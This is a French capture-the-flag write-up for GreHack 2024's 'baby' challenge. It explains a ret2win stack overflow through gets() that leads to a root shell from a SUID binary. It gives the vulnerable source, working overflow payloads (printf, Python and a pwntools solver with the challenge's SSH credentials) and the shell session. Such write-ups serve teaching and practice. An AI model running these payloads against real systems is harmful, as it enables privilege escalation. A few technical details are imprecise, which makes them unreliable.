Description
Write Up: 0eufc0smique
Créateur: Nishacid
Difficulté: very-easy
Points: 50
Format du flag: GH{............}
Enoncé
GreHack Corp has developed the first binary to print a magnificent ASCII art of their little ghost. Connect to an SSH server to check it out.
Pièce jointe: baby.zip
Solution détaillée
Vérification du type de binaire et des protections
Mon idée était tout d’abord de le télécharger et de travailler dessus en local. Comme nous avons accès à la cible via SSH, nous utilisons scp pour rapatrier les fichiers.
➜ baby_pwn git:(main) ✗ scp -P 10020 baby@tcp0.infra.ctf.grehack.fr:/home/baby/baby .
➜ baby_pwn git:(main) ✗ scp -P 10020 baby@tcp0.infra.ctf.grehack.fr:/home/baby/baby.c .
➜ baby_pwn git:(main) ✗ ls -l
total 32
-rwxrwxr-x 1 kali kali 19264 Nov 16 16:56 baby
-rw-r--r-- 1 kali kali 4717 Nov 16 16:56 baby.c
Je ne pouvais pas interagir avec le binaire en local : j’avais l'erreur file not found (j’ai quand même pu lancer checksec et file dessus en local), donc j’ai décidé d’interagir dessus directement depuis la machine remote .
(.venv) ➜ baby_pwn git:(main) ✗ file baby
baby: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=09bff4d9796a41ae2530448580c4db9e2e61acc0, for GNU/Linux 3.2.0, not stripped
(.venv) ➜ baby_pwn git:(main) ✗ checksec baby
[*] '/home/kali/secu_classes_ctf/ctf_events/grehack_2024/pwn/baby_pwn/baby'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Code source
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void debug(){
setreuid(geteuid(), geteuid());
printf("Debug mode enabled\n");
system("/bin/ash");
}
void banner(){
puts(
" .=****-\n"
" -**=====% \n"
" -+*+=====+%: \n"
" .-+**+======*%%=. \n"
" :=++**+=====+**#*+===+*+ \n"
" .:-+#%@#***************+***+==#- \n"
" .:=++#@%#*+++++++++++*##@*-. .-==: \n"
" :. .:=++**++*##*++++++++++++++++++++**=. \n"
" .==#=**-*--==++*++==+**##+++++++++++++++++++++++++++**: \n"
" -#=#.:# ++#*+=+*****###%*++++++++####*++++++++++++++++++**. \n"
" ..:-==+++*****#*#%@*#**#****+==%#++++++++++++++#*+++++++++****++++++#= \n"
" -+****++====++*********+*%=+=:. **++++++++++++++++++++++++##*++*%++++++#* \n"
" =++********++++****%#:-===# +*+++++++++**#*++++++++++++++++++%+++++++#- \n"
" -+++++***+++=-: -+=%:.#. %++++++++*#-.:%@++++++++++++++++++++++++++% \n"
" :=--:. *-.*= -#+++++++** :@@@+++++++++#+=+@@#++++++++++%. \n"
" ++..=+==:+*++++++*# *#@@*+++++++#+ +@@@@++++++++++%: \n"
" -++-:.:#*++++++%: =@@@%+++++++%: :@@@@%++++++++++%. \n"
" :-=#*++++++@ +@@@*++++++%: +#@@@#+++++**++++% \n"
" -#++++++*+:=@@#++++++*+ @@@@%+++++#+-#++*+ \n"
" %++++++++**+++++++++#= .@@@@#++++++*#:+#%. \n"
" +*++++*%**+++*#*+++++%- #@@@*++++++++#=:% \n"
" :*#+++++%+++++*%*##+++*+*#*###+++++++++++#*.#. \n"
" +#+++++++%+++++%*@@++%#*++++++++++++++++++%=*.# \n"
" -#+++++++++##+++%***+%++++++++++++++++++++%: +=:# \n"
" +*+++++++++++++++####%+++++++++++++++++++#+ .@.#+=+: \n"
" :%+++++++++++++++++++*##++++++++++++++++++*#=*-#*:-#:++. \n"
" -#+++++++++++++++++++++++++++++++++++++++++@*=- -::: *- \n"
" .+***+++#*++++++++++++++++++++++++++++++++%: :-:= =.. % \n"
" .:--:.+#++++++++++++##+++++++++++++++++%. .- -. *#- \n"
" .=*#**++++*##=#+++++++++++++++++%++ =* .%=*= \n"
" .:--:. .%:**-:-%.:#+#*++++++++++++#*. =+*++++ \n"
" =**++==+**: =+ +=.#.:# .-+**#****#*+. \n"
" +@%%#*======#- -*.=# -# .. \n"
" =*==+*#%*=====% .%+ +++=-. -=: \n"
" ##**+===*%====% :*-:*++=---==*%+%***+- \n"
" *#******++%==#- :+=.+= .:=**+**#====+* \n"
" -#==+*****#*+*#. -*-.++. +#*#*=====+* \n"
" %#*+===+*#%==###-++::+= .=*%*+=====+* \n"
" :%*****+==%==+=*#-++: **====+*#==** \n"
" -#+******@==+=+#: #+=========#= \n"
" -%==+**#%==*##- .%========+#: \n"
" .##+=+%===#- =********+ \n"
"\n"
);
}
void slogan(){
printf("Fill this : New is not always ...?\n");
char better[10];
gets(better);
printf("%s ? The good one is the following one : \n", better);
printf("New is not always better ! But sometimes, it is ;)\n");
}
int main(){
banner();
slogan();
return 0;
}
(bravo pour l’ASCII art^^)
Nous voyons qu’il s’agit d’un challenge de type ret2win : il y a une fonction debug(), qui n’est appelée ni par main() ni ailleurs… et nous devons trouver un moyen de l’appeler pour obtenir un joli shell root.
L’utilisateur baby a un SUID (c’est le s que l’on voit juste en dessous), ce qui signifie que, peu importe qui exécute le binaire, celui-ci s’exécute en tant que root. Donc si on obtient un shell, on sera root (plus de détails à la fin de l’article).
Le plan
Le but est d’écraser la pile via le buffer, en débordant suffisamment la mémoire pour toucher l’EBP sauvegardé (celui qui est mis sur la pile juste a l’appel de slogan()) et y écrire l’adresse de debug().
Ainsi, quand debug() aura fini de s’exécuter, le programme, censé reprendre à une adresse de main() pour revenir dessus, ira en réalité chercher l’adresse de debug() et l’appeler. La fonction s’exécutera donc, et on aura notre shell root.
Trouver l’offset
D’abord, nous devons déterminer combien de caractères injecter pour écraser l’adresse de retour. Après plusieurs essais, j’ai trouvé que c’était 22. Vous ne le voyez pas ici, mais je lançais le payload (rempli de A et de quatre B) à l’intérieur de GDB, et lorsque l’EIP affichait 0x42424242 (les B) au moment du crash, j’ai su que j’avais la bonne position (ce nombre peut varier selon l’envoi depuis l’“extérieur” du binaire).
Récupérer l’adresse de la fonction debug()
On peut le faire “de l’extérieur” ou “de l’intérieur” du binaire. Faisons-le de l’extérieur :
OK, on a le nombre de caractères nécessaires et l’adresse, passons à l’action.
Obtenir un shell
J’ai essayé plusieurs combinaisons de commandes perl, python et bash pour injecter mon payload dans baby, mais elles ne fonctionnaient pas :
0773290cf797:~$ python --version
Python 3.12.3
0773290cf797:~$ python -c 'print(b"A" * 22' + b"\x05\x92\x04\x08")' | ./baby
0773290cf797:~$ perl -e 'print "A" x 22 . "\x05\x92\x04\x08"' | ./baby
0773290cf797:~$ echo -e 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08' | ./baby
debug().
Un ami m’a ensuite suggéré d’ajouter un
0x0aà la commandeecho -epour ajouter un retour à la ligne (0x0a = newline), et éviter le crash.*
printf() m’a effectivement affiché quelque chose venant de debug(), donc j’ai gardé ça :
0773290cf797:~$ printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08\n' | ./baby
Fill this : New is not always ...?
...
AAAAAAAAAAAAAAAAAAAAAA ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Debug mode enabled
... segfault blablabla
debug() !
L’idée est maintenant que l’entrée standard (stdin) reste ouverte pour taper un cat flag.txt et lire le contenu.
Sous les systèmes de type Unix, stdin est le flux d’entrée que lit un processus. Tant que notre programme baby reste branché sur ce flux, tout ce qui y est envoyé (par exemple cat flag.txt) sera lu par baby et affiché dans notre terminal.
Pour réaliser cela, on enveloppe la charge utile dans un cat avant de tout rediriger vers le binaire.
En résumé : le programme reste bloqué assez longtemps pour qu’on puisse taper cat flag.txt et récupérer le drapeau.
Comment ça fonctionne ?
L’utilisation de () avec des commandes crée un sous-shell où s’exécutent ces commandes. Voyons :
0773290cf797:~$ (printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08'; cat)
AAAAAAAAAAAAAAAAAAAAAA…
^C
0773290cf797:~$
Comme on voit, j’ai dû couper moi-même l’exécution avec CTRL+C, sinon ça continuerait à tout déverser sans fin…
C’est un peu comme si un “tunnel” restait ouvert, et la seule manière de le fermer est d’utiliser CTRL+C.
Très bien, donc maintenant que ce tunnel existe, on le redirige vers le binaire. Ça nous laisse le temps de faire un cat flag.txt et obtenir le drapeau :
0773290cf797:~$ (printf 'AAAAAAAAAAAAAAAAAAAAAA\x05\x92\x04\x08\n'; cat) | ./baby
.=****-
-**=====%
-+*+=====+%:
.-+**+======*%%=.
:=++**+=====+**#*+===+*+
.:-+#%@#***************+***+==#-
.:=++#@%#*+++++++++++*##@*-. .-==:
:. .:=++**++*##*++++++++++++++++++++**=.
.==#=**-*--==++*++==+**##+++++++++++++++++++++++++++**:
-#=#.:# ++#*+=+*****###%*++++++++####*++++++++++++++++++**.
..:-==+++*****#*#%@*#**#****+==%#++++++++++++++#*+++++++++****++++++#=
-+****++====++*********+*%=+=:. **++++++++++++++++++++++++##*++*%++++++#*
=++********++++****%#:-===# +*+++++++++**#*++++++++++++++++++%+++++++#-
-+++++***+++=-: -+=%:.#. %++++++++*#-.:%@++++++++++++++++++++++++++%
:=--:. *-.*= -#+++++++** :@@@+++++++++#+=+@@#++++++++++%.
++..=+==:+*++++++*# *#@@*+++++++#+ +@@@@++++++++++%:
-++-:.:#*++++++%: =@@@%+++++++%: :@@@@%++++++++++%.
:-=#*++++++@ +@@@*++++++%: +#@@@#+++++**++++%
-#++++++*+:=@@#++++++*+ @@@@%+++++#+-#++*+
%++++++++**+++++++++#= .@@@@#++++++*#:+#%.
+*++++*%**+++*#*+++++%- #@@@*++++++++#=:%
:*#+++++%+++++*%*##+++*+*#*###+++++++++++#*.#.
+#+++++++%+++++%*@@++%#*++++++++++++++++++%=*.#
-#+++++++++##+++%***+%++++++++++++++++++++%: +=:#
+*+++++++++++++++####%+++++++++++++++++++#+ .@.#+=+:
:%+++++++++++++++++++*##++++++++++++++++++*#=*-#*:-#:++.
-#+++++++++++++++++++++++++++++++++++++++++@*=- -::: *-
.+***+++#*++++++++++++++++++++++++++++++++%: :-:= =.. %
.:--:.+#++++++++++++##+++++++++++++++++%. .- -. *#-
.=*#**++++*##=#+++++++++++++++++%++ =* .%=*=
.:--:. .%:**-:-%.:#+#*++++++++++++#*. =+*++++
=**++==+**: =+ +=.#.:# .-+**#****#*+.
+@%%#*======#- -*.=# -# ..
=*==+*#%*=====% .%+ +++=-. -=:
##**+===*%====% :*-:*++=---==*%+%***+-
*#******++%==#- :+=.+= .:=**+**#====+*
-#==+*****#*+*#. -*-.++. +#*#*=====+*
%#*+===+*#%==###-++::+= .=*%*+=====+*
:%*****+==%==+=*#-++: **====+*#==**
-#+******@==+=+#: #+=========#=
-%==+**#%==*##- .%========+#:
.##+=+%===#- =********+
Fill this : New is not always ...?
AAAAAAAAAAAAAAAAAAAAAA ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Debug mode enabled
whoami
root
cat /flag.txt
GH{...........}
Et voilà ;)
Réflexions supplémentaires
Pourquoi obtient-on un shell root => la fonction debug
Pourquoi obtient-on un shell root ? Eh bien, c’est la fonction debug() qui nous le fournit.
setreuid
D’après le man, setreuid prend deux paramètres : ruid et euid.
0773290cf797:~$ man setreuid
...
int setreuid(uid_t ruid, uid_t euid);
...
setreuid() sets real and effective user IDs of the calling process.
real user ID(ruid) = l’utilisateur réel qui a lancé le processus.effective user ID(euid) = l’ID que le processus utilise pour vérifier les permissions.
setreuid(geteuid(), geteuid()) met donc le ruid et l’euid à la valeur que geteuid() renvoie.
geteuid() renvoie l’UID effectif du processus.
Comme le binaire s’exécute en tant que root, quand on appelle un shell depuis cette fonction, geteuid() renvoie 0 (root). setreuid() va donc également attribuer 0 aux deux, et hop, nous voilà root.
Pourquoi mon payload en Python ne marchait pas ?
Cette commande causait un crash :
La machine cible exécutait Python3 :
Le souci (merci Nishacid) est qu’en Python3 (contrairement à Python2), print() envoie du texte Unicode vers la sortie standard, ce qui ajoute des octets supplémentaires dans le flux. Voir plus bas pour la solution.
Deux autres méthodes de résolution et une autre manière de trouver l’offset
Après avoir discuté avec des amis et aussi avec Nishacid (le créateur du challenge), j’ai pu recueillir pas mal d’astuces pour résoudre le challenge autrement. Je connaissais certains procédés, mais je tiens à citer leurs contributions.
Résoudre avec SSH & Pwntools
Je n’ai pas essayé cette méthode vu que je ne pouvais pas exécuter le binaire localement, mais un ami qui y arrivait m’a montré son solveur. J’y ai ajouté des commentaires pour comprendre :
from pwn import *
# établir la connexion SSH vers le serveur distant
socket = ssh(host='tcp0.infra.ctf.grehack.fr', user='baby', password='luV8GgeNzLmi8uERa7', port=10020)
# charger le binaire baby (situé sur le serveur) et créer un 'objet' pour interagir
p = socket.process('./baby')
# réception et affichage de la sortie initiale du programme
print(p.recv())
# fabrication du payload (22*A + adresse de debug())
payload = b"A" * 22 + p32(0x08049205)
# envoi du payload
p.sendline(payload)
# ouverture d’un shell interactif pour dialoguer avec le programme
p.interactive()
Résoudre en local avec Python3
Cette commande causait le crash :
Celle-ci non :
0773290cf797:~$ (python -c 'import sys;sys.stdout.buffer.write(b"A"*22+b"\x05\x92\x04\x08")' && cat) | ./baby
C’est parce que buffer.write() écrit les octets bruts, sans encodage ni formatage involontaire, donc pas d’octets parasites => ça marche.
Une autre façon de trouver l’offset (en local)
Utilisons Pwntools pour créer un payload :
0773290cf797:~$ python -c 'from pwn import *; print(cyclic(200).decode())'
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Faisons crasher le programme :
Fill this : New is not always ...?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ? The good one is the following one :
New is not always better ! But sometimes, it is ;)
Program received signal SIGSEGV, Segmentation fault.
0x61676161 in ?? ()
(gdb)
Trouvons la position de la valeur qui fait crasher :
L’offset est toujours 22.Remerciements
Merci à Nishacid pour la relecture du writeup et les informations supplémentaires, et merci aussi aux autres qui préfèrent rester anonymes.
Merci évidemment à tout le staff – c’était ma première participation a la GreHack, et j’ai adoré ! Un grand merci également aux cuistots, la nourriture était excellente !
Lien(s) utile(s)
Le write-up, en anglais, sur mon blog: https://0eufc0smique.github.io/pwn/BabyPwn/